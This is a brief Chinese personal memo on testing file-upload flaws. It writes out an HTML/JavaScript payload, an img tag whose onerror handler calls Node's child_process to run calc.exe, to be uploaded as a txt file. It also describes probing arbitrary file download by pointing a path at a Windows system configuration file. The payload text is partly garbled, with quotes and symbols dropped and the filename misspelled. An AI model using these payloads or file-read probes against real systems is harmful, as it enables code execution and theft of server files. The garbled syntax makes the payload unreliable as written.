文件上传自用

img/src1/onerroreval(require(child_process).exec(calc.exe););制作成txt文档上传然后点击 弹出计算器即可下载东西更换路径为C:/Windows/win.in查看Windows系统的一个基本系统配置文件 如果可以 则是任意文件下载漏洞